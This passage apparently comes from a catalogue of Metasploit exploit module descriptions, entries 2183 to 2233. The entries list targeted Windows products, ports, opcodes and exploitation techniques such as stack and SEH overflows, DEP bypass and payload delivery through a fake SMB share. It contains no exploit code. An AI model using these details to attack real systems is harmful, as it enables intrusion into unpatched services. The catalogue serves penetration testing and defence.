  parsing specially crafted "To:" headers. The module has been tested 
successfully on
  Avaya WinPMD 3.8.2 over Windows XP SP3 and Windows 2003 SP2.

End Exploit Number 2183

Begin Exploit Number 2184
       Name: Avid Media Composer 5.5 - Avid Phonetic Indexer Buffer 
Overflow
     Module: exploit/windows/misc/avidphoneticindexer
   Platform: Windows
       Arch: 
```

```
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2011-11-29

Payload information:
  Space: 1012
  Avoid: 5 characters

Description:
  This module exploits a stack buffer overflow in process
  AvidPhoneticIndexer.exe (port 4659), which comes as part of the Avid
Media Composer
  5.5 Editing Suite. This daemon sometimes starts on a different port;
if you start
  it standalone it will run on port 4660.

End Exploit Number 2184

Begin Exploit Number 2185
       Name: BakBone NetVault Remote Heap Overflow
     Module: exploit/windows/misc/bakbone_netvault_heap
   Platform: Windows
       Arch:
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Average
  Disclosed: 2005-04-01

Payload information:
  Space: 1024
  Avoid: 2 characters

Description:
  This module exploits a heap overflow in the BakBone NetVault
  Process Manager service. This code is a direct port of the
netvault.c
  code written by nolimit and BuzzDee.

End Exploit Number 2185

Begin Exploit Number 2186
       Name: Blue Coat Authentication and Authorization Agent (BCAAA)
5 Buffer Overflow
     Module: exploit/windows/misc/bcaaa_bof
   Platform: Windows
       Arch:
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2011-04-04

Payload information:
  Space: 936
  Avoid: 1 characters

Description:
  This module exploits a stack buffer overflow in process
bcaaa-130.exe (port 16102),
  which comes as part of the Blue Coat Authentication proxy.  Please
note that by default,
  this exploit will attempt up to three times in order to successfully
gain remote code
  execution (in some cases, it takes as many as five times).  This can
cause your activity
  to look even more suspicious.  To modify the number of exploit
attempts, set the
  ATTEMPTS option.

End Exploit Number 2186

Begin Exploit Number 2187
       Name: BigAnt Server 2.2 Buffer Overflow
     Module: exploit/windows/misc/bigant_server
   Platform: Windows
       Arch:
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Average
  Disclosed: 2008-04-15

Payload information:
  Space: 750
  Avoid: 4 characters

Description:
  This module exploits a stack buffer overflow in BigAnt Server 2.2.
  By sending a specially crafted packet, an attacker may be
  able to execute arbitrary code.

End Exploit Number 2187

Begin Exploit Number 2188
       Name: BigAnt Server 2.50 SP1 Buffer Overflow
     Module: exploit/windows/misc/bigant_server_250
   Platform: Windows
       Arch:
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2008-04-15

Payload information:
  Space: 710
  Avoid: 4 characters

Description:
  This exploits a stack buffer overflow in the BigAnt Messaging
Service,
  part of the BigAnt Server product suite. This module was tested
  successfully against version 2.50 SP1.

End Exploit Number 2188

Begin Exploit Number 2189
       Name: BigAnt Server DUPF Command Arbitrary File Upload
     Module: exploit/windows/misc/bigant_server_dupf_upload
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2013-01-09

Payload information:

Description:
  This exploits an arbitrary file upload vulnerability in BigAnt
Server 2.97 SP7.
  A lack of authentication allows to make unauthenticated file uploads
through a DUPF
  command. Additionally the filename option in the same command can be
used to launch
  a directory traversal attack and achieve arbitrary file upload.

  The module uses the Windows Management Instrumentation service to
execute an
  arbitrary payload on vulnerable installations of BigAnt on Windows
XP and 2003. It
  has been successfully tested on BigAnt Server 2.97 SP7 over Windows
XP SP3 and 2003
  SP2.

End Exploit Number 2189

Begin Exploit Number 2190
       Name: BigAnt Server 2 SCH And DUPF Buffer Overflow
     Module: exploit/windows/misc/bigant_server_sch_dupf_bof
   Platform: Windows
       Arch: 
```

```
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2013-01-09

Payload information:
  Space: 2500
  Avoid: 5 characters

Description:
  This exploits a stack buffer overflow in BigAnt Server 2.97 SP7. The
  vulnerability is due to the dangerous usage of strcpy while handling
errors. This
  module uses a combination of SCH and DUPF request to trigger the
vulnerability, and
  has been tested successfully against version 2.97 SP7 over Windows
XP SP3 and
  Windows 2003 SP2.

End Exploit Number 2190

Begin Exploit Number 2191
       Name: BigAnt Server 2.52 USV Buffer Overflow
     Module: exploit/windows/misc/bigant_server_usv
   Platform: Windows
       Arch:
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2009-12-29

Payload information:
  Space: 962
  Avoid: 5 characters

Description:
  This exploits a stack buffer overflow in the BigAnt Messaging
Service,
  part of the BigAnt Server product suite. This module was tested
  successfully against version 2.52.

  NOTE: The AntServer service does not restart, you only get one shot.

End Exploit Number 2191

Begin Exploit Number 2192
       Name: Bomberclone 0.11.6 Buffer Overflow
     Module: exploit/windows/misc/bomberclone_overflow
   Platform: Windows
       Arch:
```

```
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Average
  Disclosed: 2006-02-16

Payload information:
  Space: 344
  Avoid: 1 characters

Description:
  This module exploits a stack buffer overflow in Bomberclone 0.11.6 
for Windows.
  The return address is overwritten with lstrcpyA memory address,
  the second and third value are the destination buffer,
  the fourth value is the source address of our buffer in the stack.
  This exploit is like a return in libc.

  ATTENTION
  The shellcode is exec ONLY when someone try to close bomberclone.

End Exploit Number 2192

Begin Exploit Number 2193
       Name: Bopup Communications Server Buffer Overflow
     Module: exploit/windows/misc/bopup_comm
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2009-06-18

Payload information:
  Space: 417
  Avoid: 16 characters

Description:
  This module exploits a stack buffer overflow in Bopup Communications 
Server 3.2.26.5460.
  By sending a specially crafted packet, an attacker may be
  able to execute arbitrary code.

End Exploit Number 2193

Begin Exploit Number 2194
       Name: Borland Interbase Create-Request Buffer Overflow
     Module: exploit/windows/misc/borland_interbase
   Platform: Windows
       Arch: 
 Privileged: Yes
```

```
    License: Metasploit Framework License (BSD)
       Rank: Average
  Disclosed: 2007-07-24

Payload information:
  Space: 850
  Avoid: 1 characters

Description:
  This module exploits a stack buffer overflow in Borland Interbase
2007.
  By sending a specially crafted create-request packet, a remote
  attacker may be able to execute arbitrary code.

End Exploit Number 2194

Begin Exploit Number 2195
       Name: Borland CaliberRM StarTeam Multicast Service Buffer
Overflow
     Module: exploit/windows/misc/borland_starteam
   Platform: Windows
       Arch:
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Average
  Disclosed: 2008-04-02

Payload information:
  Space: 600
  Avoid: 13 characters

Description:
  This module exploits a stack buffer overflow in Borland CaliberRM
2006. By sending
  a specially crafted GET request to the STMulticastService, an
attacker may be
  able to execute arbitrary code.

End Exploit Number 2195

Begin Exploit Number 2196
       Name: Citrix Provisioning Services 5.6 streamprocess.exe Buffer
Overflow
     Module: exploit/windows/misc/citrix_streamprocess
   Platform: Windows
       Arch:
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2011-01-20
```

```
Payload information:
  Avoid: 1 characters

Description:
  This module exploits a stack buffer overflow in Citrix Provisioning
Services 5.6.
  By sending a specially crafted packet to the Provisioning Services
server, a fixed
  length buffer on the stack can be overflowed and arbitrary code can
be executed.

End Exploit Number 2196

Begin Exploit Number 2197
       Name: Citrix Provisioning Services 5.6 SP1 Streamprocess Opcode
0x40020000 Buffer Overflow
     Module: exploit/windows/misc/citrix_streamprocess_data_msg
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2011-11-04

Payload information:
  Avoid: 1 characters

Description:
  This module exploits a remote buffer overflow in the Citrix
Provisioning Services
  5.6 SP1 (without Hotfix CPVS56SP1E043) by sending a malformed packet
to the
  6905/UDP port.  The module has been successfully tested on Windows
Server 2003 SP2,
  Windows 7, and Windows XP SP3.

End Exploit Number 2197

Begin Exploit Number 2198
       Name: Citrix Provisioning Services 5.6 SP1 Streamprocess Opcode
0x40020004 Buffer Overflow
     Module: exploit/windows/misc/
citrix_streamprocess_get_boot_record_request
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2011-11-04
```

```
Payload information:
  Avoid: 1 characters

Description:
  This module exploits a remote buffer overflow in the Citrix
Provisioning Services
  5.6 SP1 (without Hotfix CPVS56SP1E043) by sending a malformed packet
with the opcode
  0x40020004 (GetBootRecordRequest) to the 6905/UDP port. The module,
which allows
  code execution under the context of SYSTEM, has been successfully
tested on Windows Server
  2003 SP2 and Windows XP SP3.

End Exploit Number 2198

Begin Exploit Number 2199
       Name: Citrix Provisioning Services 5.6 SP1 Streamprocess Opcode
0x40020002 Buffer Overflow
     Module: exploit/windows/misc/citrix_streamprocess_get_footer
   Platform: Windows
       Arch:
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2011-11-04

Payload information:
  Avoid: 1 characters

Description:
  This module exploits a remote buffer overflow in the Citrix
Provisioning Services
  5.6 SP1 (without Hotfix CPVS56SP1E043) by sending a malformed packet
with the opcode
  0x40020002 (GetFooterRequest) to the 6905/UDP port. The module,
which allows code execution
  under the context of SYSTEM, has been successfully tested on Windows
Server 2003 SP2
  and Windows XP SP3.

End Exploit Number 2199

Begin Exploit Number 2200
       Name: Citrix Provisioning Services 5.6 SP1 Streamprocess Opcode
0x40020006 Buffer Overflow
     Module: exploit/windows/misc/citrix_streamprocess_get_objects
   Platform: Windows
       Arch:
```

```
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2011-11-04

Payload information:
  Avoid: 1 characters

Description:
  This module exploits a remote buffer overflow in the Citrix 
Provisioning Services
  5.6 SP1 (without Hotfix CPVS56SP1E043) by sending a malformed packet 
with the opcode
  0x40020006 (GetObjetsRequest) to the 6905/UDP port. The module, 
which allows code execution
  under the context of SYSTEM, has been successfully tested on Windows 
Server 2003 SP2
  and Windows XP SP3.

End Exploit Number 2200

Begin Exploit Number 2201
       Name: CloudMe Sync v1.10.9
     Module: exploit/windows/misc/cloudme_sync
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2018-01-17

Payload information:
  Avoid: 1 characters

Description:
  This module exploits a stack-based buffer overflow vulnerability
  in CloudMe Sync v1.10.9 client application. This module has been
  tested successfully on Windows 7 SP1 x86.

End Exploit Number 2201

Begin Exploit Number 2202
       Name: Commvault Communications Service (cvd) Command Injection
     Module: exploit/windows/misc/commvault_cmd_exec
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2017-12-12
```

```
Payload information:

Description:
  This module exploits a command injection vulnerability
  discovered in Commvault Service v11 SP5 and earlier versions (tested
in v11 SP5
  and v10). The vulnerability exists in the cvd.exe service and allows
an
  attacker to execute arbitrary commands in the context of the
service. By
  default, the Commvault Communications service installs and runs as
SYSTEM in
  Windows and does not require authentication. This vulnerability was
discovered
  in the Windows version. The Linux version wasn't tested.

End Exploit Number 2202

Begin Exploit Number 2203
       Name: Anviz CrossChex Buffer Overflow
     Module: exploit/windows/misc/crosschex_device_bof
   Platform: Windows
       Arch: x86
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2019-11-28

Payload information:
  Space: 8947

Description:
  Waits for broadcasts from Ainz CrossChex looking for new devices,
and returns a custom broadcast,
  triggering a stack buffer overflow.

End Exploit Number 2203

Begin Exploit Number 2204
       Name: ALLMediaServer 1.6 SEH Buffer Overflow
     Module: exploit/windows/misc/cve_2022_28381_allmediaserver_bof
   Platform: Windows
       Arch: x86
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2022-04-01

Payload information:
  Avoid: 16 characters

Description:
  This module exploits a stack buffer overflow leading to a SEH
handler overwrite
  in ALLMediaServer 1.6. The vulnerability is caused due to a boundary
error
  within the handling of a HTTP request. Note that this exploit will
only work
  against x86 or WoW64 targets, x64 is not supported at this time.

End Exploit Number 2204

Begin Exploit Number 2205
       Name: Delta Electronics InfraSuite Device Master
Deserialization
     Module: exploit/windows/misc/
delta_electronics_infrasuite_deserialization
   Platform: Windows
       Arch: cmd, x86, x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2023-05-17

Payload information:

Description:
  Delta Electronics InfraSuite Device Master versions below v1.0.5
have an
  unauthenticated .NET deserialization vulnerability within the
'ParseUDPPacket()'
  method of the 'Device-Gateway-Status' process.

  The 'ParseUDPPacket()' method reads user-controlled packet data and
eventually
  calls 'BinaryFormatter.Deserialize()' on what it determines to be
the packet header without appropriate validation,
  leading to unauthenticated code execution as the user running the
'Device-Gateway-Status' process.

End Exploit Number 2205

Begin Exploit Number 2206
       Name: Disk Savvy Enterprise v10.4.18
     Module: exploit/windows/misc/disk_savvy_adm
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
```

```
       Rank: Great
  Disclosed: 2017-01-31

Payload information:
  Space: 800
  Avoid: 5 characters

Description:
  This module exploits a stack-based buffer overflow vulnerability
  in Disk Savvy Enterprise v10.4.18, caused by improper bounds
  checking of the request sent to the built-in server. This module
  has been tested successfully on Windows 7 SP1 x86.


End Exploit Number 2206

Begin Exploit Number 2207
       Name: DoubleTake/HP StorageWorks Storage Mirroring Service
Authentication Overflow
     Module: exploit/windows/misc/doubletake
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Average
  Disclosed: 2008-06-04

Payload information:
  Space: 500
  Avoid: 1 characters

Description:
  This module exploits a stack buffer overflow in the authentication
mechanism of
  NSI Doubletake which is also rebranded as HP Storage Works. This
vulnerability
  was found by Titon of Bastard Labs.

End Exploit Number 2207

Begin Exploit Number 2208
       Name: eIQNetworks ESA License Manager LICMGR_ADDLICENSE
Overflow
     Module: exploit/windows/misc/eiqnetworks_esa
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Average
  Disclosed: 2006-07-24
```

```
Payload information:
  Space: 400
  Avoid: 1 characters

Description:
  This module exploits a stack buffer overflow in eIQnetworks
  Enterprise Security Analyzer. During the processing of
  long arguments to the LICMGR_ADDLICENSE command, a stack-based
  buffer overflow occurs. This module has only been tested
  against ESA v2.1.13.

End Exploit Number 2208

Begin Exploit Number 2209
       Name: eIQNetworks ESA Topology DELETEDEVICE Overflow
     Module: exploit/windows/misc/eiqnetworks_esa_topology
   Platform: Windows
       Arch:
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Average
  Disclosed: 2006-07-25

Payload information:
  Space: 250
  Avoid: 4 characters

Description:
  This module exploits a stack buffer overflow in eIQnetworks
  Enterprise Security Analyzer. During the processing of
  long arguments to the DELETEDEVICE command in the Topology
  server, a stack-based buffer overflow occurs.

  This module has only been tested against ESA v2.1.13.

End Exploit Number 2209

Begin Exploit Number 2210
       Name: Enterasys NetSight nssyslogd.exe Buffer Overflow
     Module: exploit/windows/misc/enterasys_netsight_syslog_bof
   Platform: Windows
       Arch:
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2011-12-19

Payload information:
  Space: 3000
  Avoid: 1 characters

Description:
  This module exploits a stack buffer overflow in Enterasys NetSight.
The
  vulnerability exists in the Syslog service (nssylogd.exe) when
parsing a specially
  crafted PRIO from a syslog message. The module has been tested
successfully on
  Enterasys NetSight 4.0.1.34 over Windows XP SP3 and Windows 2003
SP2.

End Exploit Number 2210

Begin Exploit Number 2211
       Name: Eureka Email 2.2q ERR Remote Buffer Overflow
     Module: exploit/windows/misc/eureka_mail_err
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2009-10-22

Payload information:
  Space: 700
  Avoid: 4 characters

Description:
  This module exploits a buffer overflow in the Eureka Email 2.2q
  client that is triggered through an excessively long ERR message.

  NOTE: this exploit isn't very reliable. Unfortunately reaching the
  vulnerable code can only be done when manually checking mail (Ctrl-
M).
  Checking at startup will not reach the code targeted here.

End Exploit Number 2211

Begin Exploit Number 2212
       Name: Firebird Relational Database CNCT Group Number Buffer
Overflow
     Module: exploit/windows/misc/fb_cnct_group
   Platform: Windows
       Arch: x86
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2013-01-31
```

```
Payload information:
  Space: 400
  Avoid: 3 characters

Description:
  This module exploits a vulnerability in Firebird SQL Server.  A
specially
  crafted packet can be sent which will overwrite a pointer allowing
the attacker to
  control where data is read from.  Shortly, following the controlled
read, the
  pointer is called resulting in code execution.

  The vulnerability exists with a group number extracted from the CNCT
information,
  which is sent by the client, and whose size is not properly checked.

  This module uses an existing call to memcpy, just prior to the
vulnerable code,
  which allows a small amount of data to be written to the stack. A
two-phases
  stack pivot allows to execute the ROP chain which ultimately is used
to execute
  VirtualAlloc and bypass DEP.

End Exploit Number 2212

Begin Exploit Number 2213
       Name: Firebird Relational Database isc_attach_database() Buffer
Overflow
     Module: exploit/windows/misc/fb_isc_attach_database
   Platform: Windows
       Arch: x86
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Average
  Disclosed: 2007-10-03

Payload information:
  Space: 512
  Avoid: 5 characters

Description:
  This module exploits a stack buffer overflow in Borland InterBase
  by sending a specially crafted create request.

End Exploit Number 2213

Begin Exploit Number 2214
       Name: Firebird Relational Database isc_create_database() Buffer
```

```
Overflow
     Module: exploit/windows/misc/fb_isc_create_database
   Platform: Windows
       Arch: x86
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Average
  Disclosed: 2007-10-03

Payload information:
  Space: 512
  Avoid: 5 characters

Description:
  This module exploits a stack buffer overflow in Borland InterBase
  by sending a specially crafted create request.

End Exploit Number 2214

Begin Exploit Number 2215
       Name: Firebird Relational Database SVC_attach() Buffer Overflow
     Module: exploit/windows/misc/fb_svc_attach
   Platform: Windows
       Arch: x86
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Average
  Disclosed: 2007-10-03

Payload information:
  Space: 256
  Avoid: 5 characters

Description:
  This module exploits a stack buffer overflow in Borland InterBase
  by sending a specially crafted service attach request.

End Exploit Number 2215

Begin Exploit Number 2216
       Name: Gh0st Client buffer Overflow
     Module: exploit/windows/misc/gh0st
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2017-07-27

Payload information:
  Space: 1000
  Avoid: 0 characters

Description:
  This module exploits a Memory buffer overflow in the Gh0st client
(C2 server)


End Exploit Number 2216

Begin Exploit Number 2217
       Name: GIMP script-fu Server Buffer Overflow
     Module: exploit/windows/misc/gimp_script_fu
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2012-05-18

Payload information:
  Space: 1024
  Avoid: 136 characters

Description:
  This module exploits a buffer overflow in the script-fu server
  component on GIMP <= 2.6.12. By sending a specially crafted packet,
an
  attacker may be able to achieve remote code execution under the
context
  of the user.

  This module has been tested on GIMP for Windows from installers
  provided by Jernej Simoncic.

End Exploit Number 2217

Begin Exploit Number 2218
       Name: HP Data Protector 8.10 Remote Command Execution
     Module: exploit/windows/misc/hp_dataprotector_cmd_exec
   Platform: Windows
       Arch: x86, x64
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2014-11-02

Payload information:
  Space: 2048
```

```
Description:
  This module exploits a remote command execution on HP Data Protector
8.10. Arbitrary
  commands can be executed by sending crafted requests with opcode 28
to the OmniInet
  service listening on the TCP/5555 port. Since there is a strict
length limitation on
  the command, rundll32.exe is executed, and the payload is provided
through a DLL by a
  fake SMB server. This module has been tested successfully on HP Data
Protector 8.1 on
  Windows 7 SP1.

End Exploit Number 2218

Begin Exploit Number 2219
       Name: HP Data Protector Cell Request Service Buffer Overflow
     Module: exploit/windows/misc/hp_dataprotector_crs
   Platform: Windows
       Arch:
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2013-06-03

Payload information:
  Space: 4096
  Avoid: 3 characters

Description:
  This module exploits a stack-based buffer overflow in the Hewlett-
Packard Data Protector
  product. The vulnerability, due to the insecure usage of _swprintf,
exists at the Cell
  Request Service (crs.exe) when parsing packets with opcode 211. This
module has been tested
  successfully on HP Data Protector 6.20 and 7.00 on Windows XP SP3.

End Exploit Number 2219

Begin Exploit Number 2220
       Name: HP Data Protector DtbClsLogin Buffer Overflow
     Module: exploit/windows/misc/hp_dataprotector_dtbclslogin
   Platform: Windows
       Arch:
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2010-09-09
```

```
Payload information:
  Space: 712
  Avoid: 1 characters

Description:
  This module exploits a stack buffer overflow in HP Data Protector 
4.0 SP1. The 
  overflow occurs during the login process, in the DtbClsLogin 
function provided by 
  the dpwindtb.dll component, where the Utf8Cpy (strcpy like function) 
is used in an 
  insecure way with the username. A successful exploitation will lead 
to code execution 
  with the privileges of the "dpwinsdr.exe" (HP Data Protector Express 
Domain Server 
  Service) process, which runs as SYSTEM by default.

End Exploit Number 2220

Begin Exploit Number 2221
       Name: HP Data Protector Encrypted Communication Remote Command 
Execution
     Module: exploit/windows/misc/hp_dataprotector_encrypted_comms
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2016-04-18

Payload information:
  Avoid: 1 characters

Description:
  This module exploits a well known remote code execution exploit 
after establishing encrypted 
  control communications with a Data Protector agent. This allows 
exploitation of Data 
  Protector agents that have been configured to only use encrypted 
control communications.

  This exploit works by executing the payload with Microsoft 
PowerShell so will only work 
  against Windows Vista or newer. Tested against Data Protector 9.0 
installed on Windows 
  Server 2008 R2.

End Exploit Number 2221

Begin Exploit Number 2222
```

```
       Name: HP Data Protector Backup Client Service Remote Code
Execution
     Module: exploit/windows/misc/hp_dataprotector_exec_bar
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2014-01-02

Payload information:

Description:
  This module abuses the Backup Client Service (OmniInet.exe) to
achieve remote code
  execution. The vulnerability exists in the EXEC_BAR operation, which
allows to
  execute arbitrary processes. This module has been tested
successfully on HP Data
  Protector 6.20 on Windows 2003 SP2 and Windows 2008 R2.

End Exploit Number 2222

Begin Exploit Number 2223
       Name: HP Data Protector 6.10/6.11/6.20 Install Service
     Module: exploit/windows/misc/hp_dataprotector_install_service
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2011-11-02

Payload information:
  Space: 2048

Description:
  This module exploits HP Data Protector OmniInet process on Windows
only.
  This exploit invokes the install service function which allows an
attacker to create a
  custom payload in the format of an executable.

  To ensure this works, the SMB server created in MSF must have a
share called Omniback
  which has a subfolder i386, i.e. \\192.168.1.1\Omniback\i386\

End Exploit Number 2223

Begin Exploit Number 2224
```

```
       Name: HP Data Protector Create New Folder Buffer Overflow
     Module: exploit/windows/misc/hp_dataprotector_new_folder
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2012-03-12

Payload information:
  Space: 2000
  Avoid: 3 characters

Description:
  This module exploits a stack buffer overflow in HP Data Protector 5.
The overflow
  occurs in the creation of new folders, where the name of the folder
is handled in a
  insecure way by the dpwindtb.dll component. While the overflow
occurs in the stack, the
  folder name is split in fragments in this insecure copy. Because of
this, this module
  uses egg hunting to search a non corrupted copy of the payload in
the heap. On the other
  hand the overflowed buffer is stored in a frame protected by stack
cookies, because of
  this SEH handler overwrite is used.

  Any user of HP Data Protector Express is able to create new folders
and trigger the
  vulnerability. Moreover, in the default installation the 'Admin'
user has an empty
  password. Successful exploitation will lead to code execution with
the privileges of
  the "dpwinsdr.exe" (HP Data Protector Express Domain Server Service)
process, which
  runs as SYSTEM by default.

End Exploit Number 2224

Begin Exploit Number 2225
       Name: HP Data Protector Backup Client Service Directory
Traversal
     Module: exploit/windows/misc/hp_dataprotector_traversal
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2014-01-02
```

```
Payload information:
  Space: 2048

Description:
  This module exploits a directory traversal vulnerability in the 
Hewlett-Packard Data
  Protector product. The vulnerability exists in the Backup Client 
Service (OmniInet.exe)
  and is triggered when parsing packets with opcode 42. This module 
has been tested
  successfully on HP Data Protector 6.20 on Windows 2003 SP2 and 
Windows XP SP3.

End Exploit Number 2225

Begin Exploit Number 2226
       Name: HPE iMC dbman RestartDB Unauthenticated RCE
     Module: exploit/windows/misc/hp_imc_dbman_restartdb_unauth_rce
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2017-05-15

Payload information:
  Avoid: 1 characters

Description:
  This module exploits a remote command execution vulnerablity in 
  Hewlett Packard Enterprise Intelligent Management Center before 
  version 7.3 E0504P04.

  The dbman service allows unauthenticated remote users to restart 
  a user-specified database instance (OpCode 10008), however the 
  instance ID is not sanitized, allowing execution of arbitrary 
  operating system commands as SYSTEM. This service listens on 
  TCP port 2810 by default.

  This module has been tested successfully on iMC PLAT v7.2 (E0403) 
  on Windows 7 SP1 (EN).

End Exploit Number 2226

Begin Exploit Number 2227
       Name: HPE iMC dbman RestoreDBase Unauthenticated RCE
     Module: exploit/windows/misc/hp_imc_dbman_restoredbase_unauth_rce
   Platform: Windows
       Arch: 
```

```
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2017-05-15

Payload information:
  Avoid: 1 characters

Description:
  This module exploits a remote command execution vulnerablity in
  Hewlett Packard Enterprise Intelligent Management Center before
  version 7.3 E0504P04.

  The dbman service allows unauthenticated remote users to restore
  a user-specified database (OpCode 10007), however the database
  connection username is not sanitized resulting in command injection,
  allowing execution of arbitrary operating system commands as SYSTEM.
  This service listens on TCP port 2810 by default.

  This module has been tested successfully on iMC PLAT v7.2 (E0403)
  on Windows 7 SP1 (EN).

End Exploit Number 2227

Begin Exploit Number 2228
       Name: HP Intelligent Management Center UAM Buffer Overflow
     Module: exploit/windows/misc/hp_imc_uam
   Platform: Windows
       Arch:
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2012-08-29

Payload information:
  Space: 3925
  Avoid: 3 characters

Description:
  This module exploits a remote buffer overflow in HP Intelligent
Management Center
  UAM. The vulnerability exists in the uam.exe component, when using
sprint in a
  insecure way for logging purposes. The vulnerability can be
triggered by sending a
  malformed packet to the 1811/UDP port. The module has been
successfully tested on
  HP iMC 5.0 E0101 and UAM 5.0 E0102 over Windows Server 2003 SP2 (DEP
bypass).
```

```
End Exploit Number 2228

Begin Exploit Number 2229
       Name: HP LoadRunner magentproc.exe Overflow
     Module: exploit/windows/misc/hp_loadrunner_magentproc
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2013-07-27

Payload information:
  Space: 4096
  Avoid: 1 characters

Description:
  This module exploits a stack buffer overflow in HP LoadRunner before 
11.52. The
  vulnerability exists on the LoadRunner Agent Process magentproc.exe. 
By sending
  a specially crafted packet, an attacker may be able to execute 
arbitrary code.

End Exploit Number 2229

Begin Exploit Number 2230
       Name: HP Mercury LoadRunner Agent magentproc.exe Remote Command 
Execution
     Module: exploit/windows/misc/hp_loadrunner_magentproc_cmdexec
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2010-05-06

Payload information:
  Avoid: 3 characters

Description:
  This module exploits a remote command execution vulnerablity in HP 
LoadRunner before 9.50
  and also HP Performance Center before 9.50. HP LoadRunner 12.53 and 
other versions are
  also most likely vulneable if the (non-default) SSL option is turned 
off.
  By sending a specially crafted packet, an attacker can execute 
commands remotely.
  The service is vulnerable provided the Secure Channel feature is
```

```
disabled (default).

End Exploit Number 2230

Begin Exploit Number 2231
       Name: HP Diagnostics Server magentservice.exe Overflow
     Module: exploit/windows/misc/hp_magentservice
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Average
  Disclosed: 2012-01-12

Payload information:
  Space: 1000
  Avoid: 1 characters

Description:
  This module exploits a stack buffer overflow in HP Diagnostics 
Server
  magentservice.exe service. By sending a specially crafted packet, an 
attacker
  may be able to execute arbitrary code. Originally found and posted 
by
  AbdulAziz Harir via ZDI.

End Exploit Number 2231

Begin Exploit Number 2232
       Name: HP OmniInet.exe MSG_PROTOCOL Buffer Overflow
     Module: exploit/windows/misc/hp_omniinet_1
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2009-12-17

Payload information:
  Space: 4724
  Avoid: 1 characters

Description:
  This module exploits a stack-based buffer overflow in the Hewlett-
Packard
  OmniInet NT Service. By sending a specially crafted MSG_PROTOCOL 
(0x010b)
  packet, a remote attacker may be able to execute arbitrary code with 
elevated
```

```
  privileges.

  This service is installed with HP OpenView Data Protector, HP
Application
  Recovery Manager and potentially other products. This exploit has
been tested
  against versions 6.1, 6.0, and 5.50 of Data Protector. and versions
6.0 and 6.1
  of Application Recovery Manager.

  NOTE: There are actually two consecutive wcscpy() calls in the
program (which
  may be why ZDI considered them two separate issues). However, this
module only
  exploits the first one.

End Exploit Number 2232

Begin Exploit Number 2233
       Name: HP OmniInet.exe MSG_PROTOCOL Buffer Overflow
